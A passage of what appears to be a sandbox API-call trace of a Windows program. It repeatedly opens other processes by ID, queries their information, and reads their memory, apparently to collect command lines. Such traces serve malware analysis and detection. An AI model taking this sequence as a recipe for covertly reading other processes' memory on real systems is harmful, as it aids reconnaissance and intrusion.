dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.038] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.095] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde0) returned 0x26c [0168.095] GetLastError () returned 0x0 [0168.095] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.095] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2e1018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.096] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.096] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c1cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.096] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c18f8, lpBuffer=0x670ffc3f0, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.097] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.099] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.099] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2e1020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.099] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.100] malloc (_Size=0x74) returned 0x196ef0d31b0 [0168.100] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c1964, lpBuffer=0x196ef0d31b0, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.101] free (_Block=0x196ef0d31b0) [0168.102] CloseHandle (hObject=0x26c) returned 1 [0168.102] _ui64tow_s (in: _Value=0xde8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3560") returned 0x0 [0168.249] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3560") returned 4 [0168.250] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.250] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.270] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xde8) returned 0x26c [0168.270] GetLastError () returned 0x0 [0168.270] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.270] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x56f018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.271] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.271] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x221d10, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.271] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2218f8, lpBuffer=0x670ffc3f0, nSize=0x78, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.272] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.273] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.274] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x56f020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.274] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x2212e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.274] malloc (_Size=0x80) returned 0x196ef0d4f30 [0168.274] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x221970, lpBuffer=0x196ef0d4f30, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0168.275] free (_Block=0x196ef0d4f30) [0168.276] CloseHandle (hObject=0x26c) returned 1 [0168.277] _ui64tow_s (in: _Value=0xdf8, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3576") returned 0x0 [0168.282] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3576") returned 4 [0168.284] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.284] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.457] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xdf8) returned 0x26c [0168.457] GetLastError () returned 0x0 [0168.457] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.457] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x359018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.457] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.458] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x531d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.458] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5318f8, lpBuffer=0x670ffc3f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.459] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.461] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.461] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x359020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.461] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5312e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.461] malloc (_Size=0x8c) returned 0x196ef0d4f30 [0168.461] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x53197c, lpBuffer=0x196ef0d4f30, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0168.462] free (_Block=0x196ef0d4f30) [0168.464] CloseHandle (hObject=0x26c) returned 1 [0168.464] _ui64tow_s (in: _Value=0xe00, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3584") returned 0x0 [0168.469] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3584") returned 4 [0168.470] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.470] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.497] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe00) returned 0x26c [0168.497] GetLastError () returned 0x0 [0168.498] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.498] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x212018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.498] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.498] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x591cf0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.498] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5918f8, lpBuffer=0x670ffc3f0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.500] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.501] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.501] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x212020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.501] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.501] malloc (_Size=0x72) returned 0x196ef0d31b0 [0168.501] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x591962, lpBuffer=0x196ef0d31b0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d31b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.502] free (_Block=0x196ef0d31b0) [0168.503] CloseHandle (hObject=0x26c) returned 1 [0168.504] _ui64tow_s (in: _Value=0xe10, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3600") returned 0x0 [0168.509] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3600") returned 4 [0168.511] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.511] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.543] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe10) returned 0x26c [0168.543] GetLastError () returned 0x0 [0168.543] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.543] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x302018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.543] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.544] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x191cc0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.544] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1918f8, lpBuffer=0x670ffc3f0, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.545] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.546] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.546] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x302020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.546] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1912e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.547] malloc (_Size=0x64) returned 0x196ef0d0450 [0168.547] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x191954, lpBuffer=0x196ef0d0450, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0450*, lpNumberOfBytesRead=0x0) returned 1 [0168.548] free (_Block=0x196ef0d0450) [0168.549] CloseHandle (hObject=0x26c) returned 1 [0168.549] _ui64tow_s (in: _Value=0xe18, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3608") returned 0x0 [0168.556] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3608") returned 4 [0168.558] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.558] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe18) returned 0x26c [0168.600] GetLastError () returned 0x0 [0168.601] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.601] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x36b018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.601] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.601] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x451d80, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.601] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4518f8, lpBuffer=0x670ffc3f0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.602] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.604] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.604] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x36b020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.604] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4512e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.604] malloc (_Size=0xa2) returned 0x196ef0d4f30 [0168.604] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x451992, lpBuffer=0x196ef0d4f30, nSize=0xa0, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0168.605] free (_Block=0x196ef0d4f30) [0168.606] CloseHandle (hObject=0x26c) returned 1 [0168.607] _ui64tow_s (in: _Value=0xe28, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3624") returned 0x0 [0168.611] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3624") returned 4 [0168.613] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.613] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.632] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe28) returned 0x26c [0168.632] GetLastError () returned 0x0 [0168.632] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.632] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x470018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.632] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.633] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f1d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.633] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f18f8, lpBuffer=0x670ffc3f0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.682] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.684] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.684] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x470020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.684] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.685] malloc (_Size=0x8c) returned 0x196ef0d4f30 [0168.685] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f197c, lpBuffer=0x196ef0d4f30, nSize=0x8a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0168.686] free (_Block=0x196ef0d4f30) [0168.686] CloseHandle (hObject=0x26c) returned 1 [0168.687] _ui64tow_s (in: _Value=0xe30, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3632") returned 0x0 [0168.691] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3632") returned 4 [0168.692] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0168.692] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0168.711] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xe30) returned 0x26c [0168.711] GetLastError () returned 0x0 [0168.711] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0168.712] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x32e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0168.712] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0168.712] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d1ce0, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0168.712] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d18f8, lpBuffer=0x670ffc3f0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0168.713] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0168.715] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0168.715] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x32e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0168.715] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d12e0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0168.715] malloc (_Size=0x6e) returned 0x196ef0d31b0 [0168.715] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5d195e, lpBuffer=0x196ef0d31b0, nSize=0x6c, 